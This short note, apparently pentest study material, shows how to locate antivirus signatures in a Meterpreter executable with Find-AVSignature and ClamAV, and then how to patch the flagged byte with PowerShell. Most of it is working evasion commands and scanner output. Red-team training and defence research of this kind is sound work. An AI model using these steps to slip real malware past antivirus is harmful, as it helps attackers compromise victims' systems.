Find-AVSignature (good in theory, bad in practice)

Code

Run for the first time
  • StartByte 0, EndByte max to scan the entire executable
  • Interval to specify the size of each individual segment of the file to split
PS C:\Tools> Find-AVSignature -StartByte 0 -EndByte max -Interval 10000 -Path C:\Tools\met.exe -OutPath C:\Tools\avtest1 -Verbose -Force
Run AV against each split file

The below output shows that the first signature was detected in the third file, somewhere between offset 10000 and 20000.

PS C:\Program Files\ClamAV> .\clamscan.exe C:\Tools\avtest1
C:\Tools\avtest1\met_0.bin: OK  
C:\Tools\avtest1\met_10000.bin: OK
C:\Tools\avtest1\met_20000.bin: Win.Trojan.MSShellcode-7 FOUND C:\Tools\avtest1\met_30000.bin: Win.Trojan.MSShellcode-7 FOUND C:\Tools\avtest1\met_40000.bin: Win.Trojan.MSShellcode-7 FOUND C:\Tools\avtest1\met_50000.bin: Win.Trojan.MSShellcode-7 FOUND C:\Tools\avtest1\met_60000.bin: Win.Trojan.MSShellcode-7 FOUND C:\Tools\avtest1\met_70000.bin: Win.Trojan.MSShellcode-7 FOUND C:\Tools\avtest1\met_73801.bin: Win.Trojan.MSShellcode-7 FOUND
Re-run against the first flagged file, but with increasinly granular parameters

This will show where in first flagged file the flagged byte sequence lies.

PS C:\Tools> Find-AVSignature -StartByte 10000 -EndByte 20000 -Interval 1000 -Path C:\Tools\met.exe -OutPath C:\Tools\avtest2 -Verbose -Force
 
# After the above results... more granular...
PS C:\Tools> Find-AVSignature -StartByte 18000 -EndByte 19000 -Interval 100 -Path C:\Tools\met.exe -OutPath C:\Tools\avtest3 -Verbose -Force
 
# More granular
PS C:\Tools> Find-AVSignature -StartByte 18800 -EndByte 18900 -Interval 10 -Path C:\Tools\met.exe -OutPath C:\Tools\avtest4 -Verbose -Force
 
PS C:\Program Files\ClamAV> .\clamscan.exe C:\Tools\avtest5
C:\Tools\avtest5\met_18860.bin: OK
C:\Tools\avtest5\met_18861.bin: OK
C:\Tools\avtest5\met_18862.bin: OK
C:\Tools\avtest5\met_18863.bin: OK
C:\Tools\avtest5\met_18864.bin: OK
C:\Tools\avtest5\met_18865.bin: OK
C:\Tools\avtest5\met_18866.bin: OK
C:\Tools\avtest5\met_18867.bin: Win.Trojan.Swrort-5710536-0 FOUND C:\Tools\avtest5\met_18868.bin: Win.Trojan.Swrort-5710536-0 FOUND C:\Tools\avtest5\met_18869.bin: Win.Trojan.Swrort-5710536-0 FOUND C:\Tools\avtest5\met_18870.bin: Win.Trojan.Swrort-5710536-0 FOUND

Code

Using PowerShell
$bytes = [System.IO.File]::ReadAllBytes("C:\Tools\met.exe")
$bytes[18867] = 0
[System.IO.File]::WriteAllBytes("C:\Tools\met_mod.exe", $bytes)

Encoding & encrypting payloads

AppLocker Bypasses